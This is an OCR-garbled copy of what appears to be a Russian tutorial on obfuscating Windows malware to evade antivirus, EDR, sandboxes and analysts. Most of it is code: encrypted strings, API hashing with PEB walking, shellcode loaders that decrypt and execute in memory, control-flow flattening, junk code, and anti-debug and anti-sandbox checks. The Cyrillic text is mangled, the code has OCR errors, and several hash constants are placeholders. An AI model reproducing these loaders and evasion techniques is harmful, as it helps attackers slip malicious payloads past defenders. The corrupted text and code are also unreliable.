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BBeneHue

O6¢dyckanus — 3T0 UCKYCCTBO CHeNlaTh KO HEIIOHSATHHIM IJI51 aHa/Iu3a, COXPaHss eTo
byHKUKMOHANBHOCTE. B KOHTEKCTe offensive security, o6¢dyckanusa WinAPI-kofa HykHa A
obxopa:

» Cratuueckoro aHanmu3a — AV/EDR ckanupyioT Import Address Table (IAT), cTpoky,
0aliTOBEIE ITATTEPHEL

o [IMHaMHUYEeCKOro aHanm3a — sandbox’sl 0TCiIeK1BalOT BEI30BE API

» PeBepc-MHXHHUPHUHTA — aHAIUTHKY pa3bupaioT ManBapk B IDA Pro / Ghidra

9Ta cTaThs — MOJHBIM raud: oT mpocToro XOR mo metaMopdHOro Koma ¢ compile-time
o0dycKkaluen.

YacTtp 1: OcHoBH (Beginner)

1. O6dyckalusa CTPOK — IIePBLIHA mar



1.1 [Ipobnema: CTPOKH B OTKPHITOM BHUIE
Camast yacTas omrbKa — CTPOKM B KOfie BUOHH Ipu Strings aHanuse:

// TNOX0: CcTpOKM BUOHbI B BUHApHUKe

HANDLE hFile = CreateFileA("C:\\Windows\\System32\\lsass.exe", ...);
HMODULE hNtdll = LoadLibraryA("ntdll.dll");

FARPROC pFunc = GetProcAddress(hNtdll, "NtAllocateVirtualMemory");

// strings.exe Haupér:

// "C:\Windows\System32\lsass.exe"
// "ntdll.dll"

// "NtAllocateVirtualMemory"

// - MIrHOBEHHbIM OeTeKT

1.2 XOR-mu¢ppoBanue CTpoK
[Tpocretimmii ctocod — XOR kKaxmoro 6aiita ¢ KIIIOUOM:

// XOR-wundppoBaHne CTPOKM C OQHOOANTOBLIM KIIOYOM
void XorString(char* str, int len, BYTE key) {
for (int 1 = 0; 1 < len; i++) {
str[i] "= key;
}
}

// Wcnonb3o0BaHue:
// 1. 3awndpoBaTb CTpoKy 3apaHee (offline wnu npu KoMnunsuum)
// 2. B paHTanMe — pacuudpoBaTb nepen MCNoSb30BaHUEM

// 3awuppoBaHHaa cTpoka "ntdll.dll" c knwo4yoMm 0x41:
BYTE encNtdll[] = { Ox2F, 0x35, 0x25, 0x2D, 0x2D, OxOE, 0x25, 0x2D,
0x2D, 0x00 };

void main() {
char ntdll1[10];
memcpy (ntdll, encNtdll, sizeof(encNtdll));
XorString(ntdll, 9, 0x41); // pacunpposka: "ntdll.dll”



HMODULE h = LoadLibraryA(ntdll);

// O4YUCTUTbL CTPOKY MOCNe UCMoJsib30BaHuA!
SecureZeroMemory(ntdll, sizeof(ntdll));

}

1.3 IIpo6nema ogHOGatiToBOr0o XOR
OnuobariToBb XOR TprBHAIbHO TOMAETCS:

// Npobnema: XOR C OOHUM KNKWYOM — JIMHEWHOE wWUPpOBaHME
// WHCTpyMeHTH Tuna Xxortool aBTOMaTuyecku noadbupawT KoY
// PeweHune: MHOro6amMToBbLIA K04

void XorMultiKey(PBYTE data, int len, PBYTE key, int keyLen) {
for (int 1 = 0; 1 < len; 1i++) {
data[i] "= key[i % keyLen];
}
}

// 16-6alTOBbLIN K4 3HAYUTENbHO YyCoxHsAeT B6pyTdopc
BYTE key[] = { Ox4A, 0x7B, 0x1C, OxDE, 0x91, 0x33, OxFO, 0xA2,
Ox5E, OxC7, 0x88, 0x14, O0x6D, 0xB9, 0x02, OXE5 };

1.4 Compile-time cTpokoBas 06¢yckanus (C++)

// Compile-time XOR: cTpoka wuppyeTcsa npu KOMNUAAUMU,
// pacundpoBbIBAETCA B paHTauMe
// B buHapHuke cTpoku HET — TONbKO wuppoTekcT

template<int N, char Key>
struct ObfString {
char data[N];

constexpr ObfString(const char (&str)[N]) {
for (int i = 0; i < N; i++) {
data[i] = str[i] ©~ Key;
}



// PacuvppoBka B paHTamMe (Ha cTeke, He B .rdata)
char* decrypt() const {
// BblopensieM Ha cTeke — He b6ypmeT BuMaHO B heap dump
char* buf = (char*) alloca(N);
for (int 1 = 0; 1 < N; 1i++) {
buf[i] = data[i] ©~ Key;
}

return buf;
};

// Makpoc gnsa ypobcTBa

#define OBF(str) ([]1() { \
constexpr ObfString<sizeof(str), Ox5A> s(str); \
return s.decrypt(); \

}())

// Wcnonb3oBaHue:
HMODULE h = LoadLibraryA(OBF("ntdll.dll"));
// B 6uHapHuke cTpoku "ntdll.dll" HeT!

1.5 Stack strings — cTpoKu Ha cTeke

// Stack strings: Kaxmgblh CMMBON MpuMCBaMBaEeTCA OTOENbHO
// CTpoka He cywectByeT Kak uenoe B .rdata cekuuu
// CobupaeTcsi TONbKO B paHTaWMe Ha CTeke

char ntdll[10];

ntdll[0] = 'n';
ntdll[1l] = 't';
ntdll[2] = 'd';
ntdll1[3] = '1';
ntdll[4] = 'l';
ntdll[5] = '."';
ntdll[6] = 'd';
ntdll[7] = 'l';
ntdll1[8] = 'l"';
ntdl1[9] = '\0';



HMODULE h = LoadLibraryA(ntdll);

// KoMnunaTtop MoxeT onTuUMM3MpoBaTb 0OpaTHO B CTPOKY!
// Wcnonb3yem volatile wnu pragma optimize("", off):
#pragma optimize("", off)
void BuildString(char* buf) {

buf[@] = 'n'; buf[l] = '"t'; buf[2] 'd';

buf[3] = 'l'; buf[4] = 'L"'; buf[5] = "'."';

buf[6] = 'd'; buf[7] = 'L"'; buf[8] = 'l';

buf[9] "\O"';

}

#pragma optimize("", on)

2. CkpriTHe WinAPI umMmopToB

2.1 IIpo6nema: Import Address Table

Korpma Bel BhI3EIBaeTe CreateRemoteThread HampsMmyto, oHa monapaet B IAT OuHapHUKA.
AV/EDR ckanupyer IAT:

$ dumpbin /imports payload.exe

KERNEL32.dl1l
CreateRemoteThread « RED FLAG
VirtualAllocEx « RED FLAG
WriteProcessMemory < RED FLAG

- MrHOBEHHbLIN OeTeKT No KOoMOMHauuuM UMNopTOB

2.2 Dynamic API Resolution — GetProcAddress

// BMecTo npsMOro Bbi30Ba — Pe30/BMM afpec B paHTaunme
// IAT He copepXuT NOJO3pPUTENbHLIX UMMNOPTOB

typedef HANDLE (WINAPI *pCreateRemoteThread) (
HANDLE, LPSECURITY ATTRIBUTES, SIZE T,
LPTHREAD START ROUTINE, LPVOID, DWORD, LPDWORD



);

// 3arpyxaem u pe30siBuUM

HMODULE hKernel32 = LoadLibraryA("kernel32.dll1"); // wnu

GetModuleHandleA

pCreateRemoteThread fnCreateRemoteThread =
(pCreateRemoteThread)GetProcAddress (hKernel32,

"CreateRemoteThread");

// Bbl3blBaeM 4yepes3 yka3arTeslb
fnCreateRemoteThread(hProcess, NULL, 0, startAddr, param, 0, NULL);

// IAT Tenepb CoOOepXUT TOJNbKO:
// LoadLibraryA

// GetProcAddress

// Topa3go MeHee NOJO3pPUTENbLHO

2.3 IIpo6bnema: cTpoku «CreateRemoteThread» Bcé emié BUIHEI
Kombunupyem ¢ o6dyckalimeit CTpOK:

// 3awnppoBaHHble UMEeHa QYHKL MWW

BYTE encFuncName[] = { /* 3auuppoBaHHOoe "CreateRemoteThread" */ };
char funcName[32];

XorMultiKey ( (PBYTE) funcName, sizeof(encFuncName), key, sizeof(key));

pCreateRemoteThread fn =
(pCreateRemoteThread)GetProcAddress (hKernel32, funcName);
SecureZeroMemory (funcName, sizeof(funcName));

2.4 Ho GetProcAddress/LoadLibrary Toxe manarcs!

EDR xykaet GetProcAddress u LoadLibrary. Pemenue — pe3onButs APl BpyuHyIo uepe3
PEB:

// Custom GetModuleHandle: nouck mogynsa 4yepe3 PEB
// He Bbi3biBaeT LoadLibrary/GetModuleHandle — o6xomuT XyKwu

HMODULE CustomGetModuleHandle(DWORD moduleHash) {



// War 1: NonyuuTtb PEB 4yepe3 TEB (Thread Environment Block)
// x64: PEB Haxoputcs B GS:[0x60]
PPEB pPeb;
#ifdef WING4
pPeb = (PPEB) readgsqword(0x60);
#else
pPeb = (PPEB) readfsdword(0x30);
#endif

// War 2: MponTu no CNUCKY 3arpyXeHHbIX Mopyrewu
PPEB_LDR DATA pLdr = pPeb->Ldr;

PLIST ENTRY head = &pLdr->InMemoryOrderModulelList;
PLIST ENTRY entry = head->Flink;

while (entry != head) {
PLDR DATA TABLE ENTRY mod = CONTAINING RECORD (
entry, LDR DATA TABLE ENTRY, InMemoryOrderLinks);

// War 3: XowupyeM uMa MOOYyNsA M CpaBHUBAEM

if (HashString(mod->BaseDl1lName.Buffer) == moduleHash) {
return (HMODULE)mod->D11Base;

}

entry = entry->Flink;

}
return NULL;

// Custom GetProcAddress: nouck ¢yHkuum 4vepe3 Export Directory
FARPROC CustomGetProcAddress(HMODULE hModule, DWORD funcHash) {

PIMAGE DOS HEADER dos = (PIMAGE DOS HEADER)hModule;
PIMAGE NT HEADERS nt = (PIMAGE NT HEADERS) ( (PBYTE)hModule +

dos->e lfanew);

// Export Directory
DWORD exportRVA = nt->0OptionalHeader
.DataDirectory[IMAGE DIRECTORY_ENTRY EXPORT].VirtualAddress;
PIMAGE EXPORT DIRECTORY exports = (PIMAGE EXPORT DIRECTORY) (
(PBYTE)hModule + exportRVA);



PDWORD nameRVAs = (PDWORD) ( (PBYTE)hModule +
exports->AddressOfNames);

PDWORD funcRVAs = (PDWORD) ( (PBYTE)hModule +
exports->AddressOfFunctions);

PWORD ordinals = (PWORD) ( (PBYTE)hModule +
exports->AddressOfNameOrdinals);

for (DWORD 1 = 0; 1 < exports->NumberOfNames; i++) {
char* name = (char*) ((PBYTE)hModule + nameRVAs[i]);
if (HashString(name) == funcHash) {
return (FARPROC) ((PBYTE)hModule + funcRVAs[ordinals[i]]);

}

}
return NULL;

3. API Hashing — cKprITHEe HMEH (YHKITUM

3.1 3auem x3mH

[laxe 3amr@poBaHHbe CTPOKU MOXKHO paciinpoBaTh B faMIle MaMATH. X391l UMEeHN
by — HeobpatuM. BmecTto ctpoku "NtAllocateVirtualMemory" ucnomnbslyem
yucyo 0x1B2C3D4E.

3.2 DJB2 Hash

// DIB2: npocTouM u ObLICTPLIA X3W
DWORD djb2(const char* str) {
DWORD hash = 5381;
int c;
while ((c = *str++)) {
hash = ((hash << 5) + hash) + c; // hash * 33 + ¢
}

return hash;



// TlpenBbluncneHHole x3umn (cumtaem offline):

// djb2("kernel32.dl1") = Ox6A4ABC5B

// djb2("NtAllocateVirtualMemory") = 0x1B2C3D4E
// djb2("CreateRemoteThread") = OXAABBCCDD
#define HASH KERNEL32 Ox6A4ABC5B

#define HASH CREATE_REMOTE THR OxAABBCCDD

// Pe30nBUM Mo X3Wwy — B OUHaApHWKE HET WMEH PyHKLUN!
HMODULE hK32 = CustomGetModuleHandle (HASH KERNEL32);
FARPROC fn = CustomGetProcAddress(hK32, HASH CREATE REMOTE THR);

3.3 ROR13 Hash (ucmons3yercs Metasploit)

// ROR13: poTauus BnpasBo Ha 13 6uT, Knaccuka Metasploit
DWORD rorl3(const char* str) {
DWORD hash = 0;
while (*str) {
hash = (hash >> 13) | (hash << (32 - 13)); // rotate right 13
hash += *str++;
}

return hash;

}

// Npobnema: ROR13 xswm yxe B 6a3ax AV/EDR!
// PeweHune: MoguouumpoBaHHbIM X3w (pobaBuTb seed, M3MeHUTb rotation)

3.4 Custom Hash c seed

// Custom hash: yHuKanbHbM Ons Kaxpmoro 6unpa
// Seed reHepupyeTtca Cny4yanHo npu KOMMOuaauuwu

#define HASH SEED OxDEADBEEF // MeHATb npu KaxgoM bunpe!

DWORD CustomHash(const char* str) {
DWORD hash = HASH SEED;
while (*str) {
hash ~= (BYTE)*str++;
hash = (hash >> 7) | (hash << 25); // rotate right 7



hash *= 0x01000193; // FNV prime
hash ~= HASH SEED;

}

return hash;

}

// TlpepBblyucngaeMm Xxswm C 17eM xe seed:
// python: custom hash("CreateRemoteThread", seed=0xDEADBEEF)
// Kaxpbin 6unpg c pa3HbM seed — pa3Hble X3wnm — He B Ba3sax AV

YacTts 2: Cpeguuii yposens (Intermediate)

4. Mudpposanue payload

4.1 XOR mennkopa

// XOR-wundpoBaHue wennkoga C MHOrob6anMTOBLIM KIOYOM
// Wennkop XpaHUTCA 3awnmdpoBaHHbM B .data wnm .rdata cekuuu

// 3aunppoBaHHbIN wennkopn (3awuppoBatb offline):

unsigned char encShellcode[] = {
0x8B, Ox3F, O0xAl, 0x55, 0x7C, OxDE, 0x90, 0x12, // ...
// ... COTHM DanT 3awMPpPOBAHHOrO wWeNIKoaa

};

unsigned char key[] = {
OxAA, OxBB, OxCC, OxDD, OxEE, OxFF, 0x11, 0x22,
0x33, 0x44, 0x55, 0Ox66, O0x77, 0x88, 0x99, 0x00

};

void DecryptAndExecute() {
// PacuuppoBka
SIZE T scSize = sizeof(encShellcode);
PBYTE sc = (PBYTE)malloc(scSize);



memcpy(sc, encShellcode, scSize);

for (SIZE T i = 0; i < scSize; i++) {
sc[i] "= key[i % sizeof(key)];

}

// BbigpeneHune executable namaTtu
PVOID execMem = VirtualAlloc(NULL, scSize,

MEM COMMIT | MEM RESERVE, PAGE READWRITE) ;
memcpy (execMem, sc, scSize);

// CMeHa npaB: RW - RX
DWORD oldProtect;
VirtualProtect(execMem, scSize, PAGE EXECUTE READ, &oldProtect);

// BbinonHeHue
((void(*)())execMem)();

// 04ucTka
SecureZeroMemory(sc, scSize);
free(sc);

}
4.2 AES-mm¢poBarue (6omee CTOHKOE)

// AES-256 uwundposaHue wennkopa 4yepe3 WinAPI (BCrypt)
// AES He nomaetcs xortool — peanbHoe wuppoBaHue

#include <bcrypt.h>
#pragma comment(lib, "bcrypt.lib")

BOOL AesDecrypt(PBYTE ciphertext, DWORD ctLen, PBYTE key, PBYTE iv,
PBYTE* plaintext, DWORD* ptLen) {
BCRYPT ALG HANDLE hAlg = NULL;
BCRYPT KEY HANDLE hKey = NULL;
NTSTATUS status;

// OTKpbiTb npoBanpgep AES



BCryptOpenAlgorithmProvider(&hAlg, BCRYPT AES ALGORITHM, NULL, 0);

// YcTaHoBUTb pexum CBC
BCryptSetProperty(hAlg, BCRYPT CHAINING MODE,
(PUCHAR)BCRYPT CHAIN MODE CBC,
sizeof (BCRYPT CHAIN MODE CBC), 0);

// Co3paTtb Koy
BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, key, 32, 0);

// Y3HaTb pa3Mep plaintext
BCryptDecrypt(hKey, ciphertext, ctLen, NULL,
iv, 16, NULL, O, ptLen, BCRYPT BLOCK PADDING);

// PacuuppoBaTtb
*plaintext = (PBYTE)malloc(*ptLen);
BYTE ivCopy[16];
memcpy (ivCopy, 1iv, 16); // BCryptDecrypt mogupuumnpyet IV
BCryptDecrypt(hKey, ciphertext, ctLen, NULL,
ivCopy, 16, *plaintext, *ptLen, ptLen, BCRYPT BLOCK PADDING);

BCryptDestroyKey (hKey);
BCryptCloseAlgorithmProvider(hAlg, 0);
return TRUE;

}

// Wcnonb3o0BaHue:
BYTE aesKey[32]
BYTE aesIV[16]

PBYTE decrypted
DWORD declLen = 0;

{ /* 256-bit key */ };
{ /* 128-bit IV */ };
NULL;

AesDecrypt(encShellcode, sizeof(encShellcode),
aesKey, aeslV, &decrypted, &declLen);
// ... copy to RX memory and execute



4.3 [Indpposanue yepe3 SystemFunction032/033 (6e3 BCrypt)

// SystemFunction032/033: RC4 wuppoBaHue 4yepe3 HefOKYMEHTUPOBAHHYIO
WinAPI
// TpeumyuecTtBo: He uMmnopTtupyet bcrypt.lib, MeHee nopo3putensHo B IAT

typedef NTSTATUS (WINAPI *pSystemFunction032) (
struct USTRING* data,
struct USTRING* key

);

struct USTRING {
DWORD Length;
DWORD MaximumLength;
PVOID Buffer;

};

void RC4Decrypt(PBYTE data, DWORD datalLen, PBYTE key, DWORD keyLen) {
// Pe3onBuM SystemFunction032 guHaMmyeckwu
HMODULE hAdvapi = LoadLibraryA("advapi32.dll");
pSystemFunction032 fn = (pSystemFunction032)
GetProcAddress (hAdvapi, "SystemFunction032");

struct USTRING dataStruct = { datalLen, datalLen, data };
struct USTRING keyStruct { keyLen, keyLen, key };

fn(&dataStruct, &keyStruct);
// RC4 — CUMMETpWYHbIA, BbI30B OBaXAbl = pacwundppoBKa

}

// SystemFunction033 = To Xe camoe, afbTepHaTMBHAs TOYKa BXopga
// HekoTtopble AV petekTaT "SystemFunction032" — wncnonb3yn API hashing

5. Control Flow Obfuscation — 3amyTrBaHK€e TOTHKH



5.1 Opaque predicates — noxHEIE YCIIOBHS

// Opaque predicate: ycnosue, pe3ynbTaT KOTOPOro M3BeCTeH
// Npu KOMNUASLMKM, HO He MNpuM CTAaTUMYECKOM aHanu3e

// MaTeMaTnyeckn Bcerpga true: x*x >= 0
// Ho IDA/Ghidra He MOryTt 370 pgokKa3aTb - BUOAT OBa NYyTWU BbIMNOJIHEHUSA

void ExecutePayload(PBYTE shellcode, int x) {

if ((x * x + 1) >0) { // Bcerpa true pnga int
// Hactoswun kKop
((void(*)())shellcode)();

} else {
// MEpTBbLIN KOO — HUMKOrfda He BbIMNOSIHUTCSH
// Ho pu3accemMbnep He 3HaeT 3TOro
MessageBoxA(NULL, "Hello World", "Test", 0);
ExitProcess(0);
// DobaBnsaeM ¢enkoBbiM "OGe3onacHuiM" Kopf
// 4T06bl sandbox cuuTan nporpammy 6Ge3BpenHoOM

}
}
// bonee cnoxHole opaque predicates:
// (X ¥ (X +1)) % 2 == - Bcerpa true (npoussepneHune
nocsiegoBaTeNibHbIX Yncen YETHO)
// (X * X ¥ X) %6 ==X % 6 - Bcerga true (no mManou teopeme Oepma-
nonobHomn)
int OpaquePredicatel(int x) { return (x * X + x) % 2 == 0; } //

always true

int OpaquePredicate2(int x) { return (x | (x - 1)) >= (x - 1); } //
always true

int OpaquePredicate3(int x) { return ((x ™ OxFF) + 1) != x; } //
almost always true

5.2 Control Flow Flattening

// Control Flow Flattening: nuHenHbin Kop npeBpawaetca B switch-case
// Ou3accembnep BuouT oguH 6onbwon switch BMecTo noruyeckom



nocsiegoBaTte/ibHOCTHU

// OpuUrunHanbHbIM Kopf:
// Stepl(); Step2(); Step3(); Step4d();

// Nocne flattening:

void FlattenedFunction() {
int state = 1;
int running = 1;

while (running) {
switch (state) {
case 1:
// Step 1: Resolve APIs
hKernel32 = CustomGetModuleHandle(HASH KERNEL32);
state = 4; // cnepywumn state He nocnepoBaTeNbHbLIN!
break;

case 4:
// Step 2: Allocate memory
mem = VirtualAlloc(NULL, size, MEM COMMIT,
PAGE READWRITE) ;
state = 2;
break;

case 2:
// Step 3: Decrypt shellcode
XorDecrypt(encPayload, sizeof(encPayload), key);
state = 7;
break;

case 7:
// Step 4: Copy and execute
memcpy (mem, encPayload, sizeof(encPayload));
state = 3;
break;

case 3:



// Step 5: Change protection

VirtualProtect(mem, size, PAGE EXECUTE READ, &old);
state = 9;

break;

case 9:
// Step 6: Execute
((void(*)())mem)();
running = 0;
break;

// MépTtBble Keicbl — junk code pns 3anyTbiBaHuMA

case 5:
MessageBoxA(NULL, "OK", "OK", 0);
state = 6;
break;

case 6:
ExitProcess(0);
break;

case 8:
Sleep(1000);
state = 1;
break;

}

// B pu3acceMbnepe: opuH 6onbwon dispatch loop
// ABTOMaTum4yeckoe BoccTaHoBneHne CFG — KpawWHe CNOXHO
// AHanuMTUK BUOUT 9 case'OB M He 3HaeT MOopPAOOK BLIMNOJSIHEHUSA

5.3 Bogus Control Flow — ¢eiKoBLIE BETKH

// HNobaBnsem MHOXecTBO ¢enkoBbix if/else, KOTOpble HUKOrga He BbIMNOSHATCA
// HO Om3accembrniep He MoXeT 3TO [JOKa3aTb

volatile int g seed = 42;



void ObfuscatedLoader() {
int r = g seed;

if (r * r <0) { // impossible pnga int*int 6e3 overflow //

®evkoBbin NyTb: 6e306uaHbin Kopg printf("Normal application
starting...\n"); CreateWindowExA(©@, "BUTTON", "OK", 0, 0, 0, 100, 50,
0, 0, 0, 0); return; } // Hactoswun kop PBYTE sc = DecryptPayload();
if ((r & 1) == (r & 1)) { // Tastonorusa, Bcerga true PVOID mem =
VirtualAlloc(NULL, scSize, MEM COMMIT, PAGE READWRITE); memcpy(mem,
sc, scSize); if (r + 1 > r) { // noutu Bcerpa true (kpoMe INT MAX)

VirtualProtect(mem, scSize, PAGE EXECUTE READ, &old);

((void(*)())mem)();

} else {
// Ewé opouH $enKoBbM NyTb
WriteFile(INVALID HANDLE VALUE, "log.txt", 7, &w, NULL);

6. Junk Code Insertion — MycopHEIi Koft

6.1 NOP-3kBHUBaJICHTH

// BCTaBKa KOfa, KOTOPbLIN HMYEro He fenaeT, HO 3aHUMaeT MecCTo
// YBenunuusaet pa3mep QyHKuUuK, 3aTpygHsaeT pattern matching

void PayloadwWithJunk() {
// Junk: 6ecCccMbiCNeHHble HO BanMAHbIE Ornepauunm
volatile int junkl = 0x12345678;
junkl "= OxDEADBEEF;
junkl = (junkl >> 3) | (junkl << 29);
junkl *= 0x01000193;

// Hactoswun kop
HMODULE h = LoadLibraryA(OBF("ntdll.dll"));



// Ewé junk

volatile DWORD junk2 = GetTickCount();

junk2 = junk2 * junk2 + 17;

if (junk2 == 0x13371337) { ExitProcess(0); } // Hukorga He true

// HacTtoswunm kop
FARPROC fn = GetProcAddress(h, OBF("NtAllocateVirtualMemory"));

// Junk: 6eccMbIC/IEHHbIA LUKN

volatile int junk3 = 0;

for (volatile int 1 = 0; 1 < 10; i++) {
junk3 += i * i;
junk3 *= (junk3 << 3);

}

// HacTosdwmi Kom npoponxaertcs...

}
6.2 Dead code — HeMOCTURUMEIA KO

// Dead code: uenble PyHKUMUN, KOTOPbIE HUKOrga He BbI3bIBATCH
// YBenuuuBawT pa3Mmep OWHApPHMKA, MACKUPYKT peanbHyw (YHKLUMOHANbHOCTb

// ®enkoBasa "monesHaa" ¢yHKUMA
void ProcessLogFile(const char* path) {
HANDLE hFile = CreateFileA(path, GENERIC READ, 0, NULL,
OPEN EXISTING, 0O, NULL);
if (hFile != INVALID HANDLE VALUE) {
char buffer[4096];

DWORD read;
ReadFile(hFile, buffer, sizeof(buffer), &read, NULL);
// "0bpaboTka nora" — 6e306uaHbIN KOO
for (DWORD 1 = 0; 1 < read; i++) {
if (buffer[i] == '\n') { /* count lines */ }
}
CloseHandle(hFile);



// OenkoBasa GUI ¢yHKuwusd
void ShowSettingsDialog() {
// Co3paHue OKHa HacTpoeK — BLIFNAAUT Kak 00bl4HOEe npuoxeHue
HWND hwnd = CreateWindowExA(O, "STATIC", "Settings",
WS OVERLAPPEDWINDOW, 100, 100, 400, 300, NULL, NULL, NULL,

NULL) ;
ShowWindow(hwnd, SW SHOW);
UpdateWindow(hwnd) ;

}

// Hn ProcessLogFile, Hu ShowSettingsDialog HMKOrfga He Bbi3bIBATCS
// Ho AV Bugut "HopManbHbie" API Bbi30Bbl B IAT M cumTaeT ¢pann nermTUMHbLIM

YacTs 3: [IponBunyTHE ypoBeHb (Advanced)

7. O6dyckamusa Bei30B0B WinAPI

7.1 API Hashing + Dynamic Resolution (momHEI mpuMep)

// TonHas cuctema: custom hash + PEB walking + no IAT imports
// Hu opHoro nopo3putenbHoro umnopta B IAT

// Xaw-¢pyHkuma c seed (MeHATb nNpu Kaxgom bunpge)
#define SEED OxCOFFEE42

DWORD ApiHash(const char* str) {
DWORD hash = SEED;
while (*str) {
hash = ((hash >> 5) | (hash << 27)) + *str++;
hash ~= SEED;
}

return hash;



// lpenBblYMCNEeHHble X3Wun

#define H KERNEL32 0xA7B3C1D2
#define H NTDLL OxE4F5A6B7
#define H VirtualAlloc 0x1234ABCD
#define H VirtualProtect Ox5678EF01
#define H CreateThread 0x9ABC2345

// Unified resolver

FARPROC Resolve(DWORD moduleHash, DWORD funcHash) {
HMODULE hMod = CustomGetModuleHandle(moduleHash);
if ('hMod) return NULL;
return CustomGetProcAddress(hMod, funcHash);

}

// Typedefs pna ¢yHKuumn
typedef LPVOID (WINAPI *tVirtualAlloc) (LPVOID, SIZE T, DWORD, DWORD);
typedef BOOL (WINAPI *tVirtualProtect) (LPVOID, SIZE T, DWORD, PDWORD);

// Wcnonb3oBaHue
void Execute() {
tVirtualAlloc pVA = (tVirtualAlloc)Resolve(H KERNEL32,
H VirtualAlloc);
tVirtualProtect pVP = (tVirtualProtect)Resolve(H KERNEL32,
H VirtualProtect);

PVOID mem = pVA(NULL, scSize, MEM COMMIT | MEM RESERVE,
PAGE READWRITE) ;
// ... decrypt and copy shellcode ...
DWORD old;
pVP(mem, scSize, PAGE EXECUTE READ, &old);
((void(*)())mem)();
}

7.2 Syscall Obfuscation — npsimeie syscall ¢ 00¢yckanuei

// BMecTo Bbi30Ba WinAPI — npsmou syscall ¢ obdycumpoBaHHbM SSN
// Hn kernel32.dll, Hu ntdll.dll He Bbi3biBawTCA 4Yepe3 IAT



// SSN onpepensetcda B paHTauMe 4yepe3 napcuHr ntdll
DWORD GetObfuscatedSSN(DWORD funcHash) {
HMODULE hNtdll = CustomGetModuleHandle(H NTDLL);
FARPROC fn = CustomGetProcAddress(hNtdll, funcHash);

PBYTE stub = (PBYTE)fn;

if (stub[0] == 0x4C && stub[3] == 0xB8) {
DWORD ssn = *(DWORD*) (stub + 4);
// 06¢yckaums SSN — XOR c KOHCTaHTOM
return ssn ©~ OxDEAD;

}

return 0;

}

// TNpun Bbi30OBEe — peobdyckauua

// mov eax, obfuscated ssn

// Xor eax, OxDEAD ; peobdyckauma SSN
// mov rl@, rcx

// syscall

7.3 Function Pointer Obfuscation

// 006dyckaums ykasaTeneum Ha QyHKUUU
// [daxe B paMne namaTuW yKa3aTenu He yKa3blBalT Ha peasnbHble QyHKLUK

// XOR yka3aTens C K/4YOM
#define PTR KEY OxDEADCAFEBEEFFOOD

typedef LPVOID (*fnVirtualAlloc) (LPVOID, SIZE T, DWORD, DWORD);

// CoxpaHeHne 06¢ycumpoBaHHOro ykasaTens
UINT PTR obfVirtualAlloc;

void InitApis() {

fnVirtualAlloc real = (fnVirtualAlloc)Resolve(H KERNEL32,
H VirtualAlloc);

// 06¢yckaums: XOR c Kno4oM

obfVirtualAlloc = (UINT PTR)real ~ PTR KEY;



}

// Heobdyckaums nepepn BbI3OBOM
LPVOID CallVirtualAlloc(LPVOID addr, SIZE T size, DWORD type, DWORD
protect) {
fnVirtualAlloc fn = (fnVirtualAlloc) (obfVirtualAlloc ©~ PTR KEY);
return fn(addr, size, type, protect);

}

// B pamne namaATtun obfVirtualAlloc = Ox7FF8CAFE1234 ©
OXDEADCAFEBEEFFOOD
// = MyCcOpHOoe 4ucno, He yka3sbiBawlee Ha VirtualAlloc

8. Anti-Analysis TexHuKH

8.1 Anti-Debug

// MHOXeCcTBO NMPOBEPOK Ha OT/afyuk
// KOMOMHMPYN HECKONbKO — OOMH MeTopn nerko obxoamtcs

// Metop 1: IsDebuggerPresent (TpuBuanbHO obxoguTtcs)
if (IsDebuggerPresent()) { ExitProcess(0); }

// Meton 2: PEB->BeingDebugged (710 Xe, Ho 6e3 API Bbi30Ba)
PPEB pPeb = (PPEB) readgsqword(0x60);
if (pPeb->BeingDebugged) { ExitProcess(0); }

// Meton 3: NtGlobalFlag

// Mpn otnapgke NtGlobalFlag copepxut ¢naru heap debugging

DWORD ntGlobalFlag = *(DWORD*) ( (PBYTE)pPeb + OxBC); // x64 offset
if (ntGlobalFlag & 0x70) { ExitProcess(0); } // FLG HEAP *

// Meton 4: CheckRemoteDebuggerPresent

BOOL debugged = FALSE;

CheckRemoteDebuggerPresent (GetCurrentProcess(), &debugged);
if (debugged) { ExitProcess(0); }



// Metopn 5: NtQueryInformationProcess

typedef NTSTATUS (NTAPI *pNtQIP) (HANDLE, DWORD, PVOID, ULONG, PULONG);

pNtQIP NtQIP = (pNtQIP)GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtQueryInformationProcess");

DWORD debugPort = 0;

NtQIP(GetCurrentProcess(), 7, &debugPort, sizeof(debugPort), NULL);
// ProcessDebugPort (7): !'= 0 ecnn oTnagyuk

if (debugPort) { ExitProcess(0Q); }

// Meton 6: Timing check

LARGE INTEGER freq, tl, t2;

QueryPerformanceFrequency(&freq);

QueryPerformanceCounter(&tl);

// ... KakKasa-To onepayus

QueryPerformanceCounter(&t2);

// Tlog O0TNagyMkoM — BpeMs 3HauuTenbHo 6onbue

if ((t2.QuadPart - tl.QuadPart) > freq.QuadPart / 100
ExitProcess(0); // > 10ms = BepoATHO Nof OT/AQAKO

{

)
7
}

// Metopn 7: Hardware breakpoint detection

CONTEXT ctx = {0};

ctx.ContextFlags = CONTEXT DEBUG REGISTERS;

GetThreadContext (GetCurrentThread(), &ctx);

if (ctx.Dr® || ctx.Drl || ctx.Dr2 || ctx.Dr3) {
ExitProcess(0); // kTo-To noctaBun breakpoints

}

// Metop 8: INT 2D — anti-debug trap
// B oTtnapuymke INT 2D Bepért cebs uHave
_try {
~asm { int Ox2D }
}  except (EXCEPTION EXECUTE HANDLER) {
// HOopManbHOe BbIMO/IHEHWE — HeT oTlagyuKa

}

// Ecnu oTnapgyuMkK — UCKIK4YeHue MoxeT ObiTb He MoWMaHo



8.2 Anti-Sandbox

// DetekTt sandbox/VM — ecnu sandbox, He BbinonHsiem payload

// MNposepka 1: Mano RAM (sandbox o06bi4yHO 2-4GB)

MEMORYSTATUSEX mem = { sizeof(mem) };

GlobalMemoryStatusEx (&mem) ;

if (mem.ullTotalPhys < 4LL * 1024 * 1024 * 1024) { return; } // < 4GB

// TpoBepka 2: Mano sapep CPU

SYSTEM INFO si;

GetSystemInfo(&si);

if (si.dwNumberOfProcessors < 2) { return; } // 1 agpo = VM

// TpoBepka 3: ManbiM pa3mep AOMUCKa

ULARGE INTEGER diskSize;

GetDiskFreeSpaceExA("C:\\", NULL, &diskSize, NULL);

if (diskSize.QuadPart < 60LL * 1024 * 1024 * 1024) { return; } // <
60GB

// TNpoBepka 4: Bpemsa paboTbl cuctemsl (sandbox TONbKO 4YTO 3arpyxeH)
if (GetTickCount64() < 10 * 60 * 1000) { return; } // uptime < 10
MUHY T

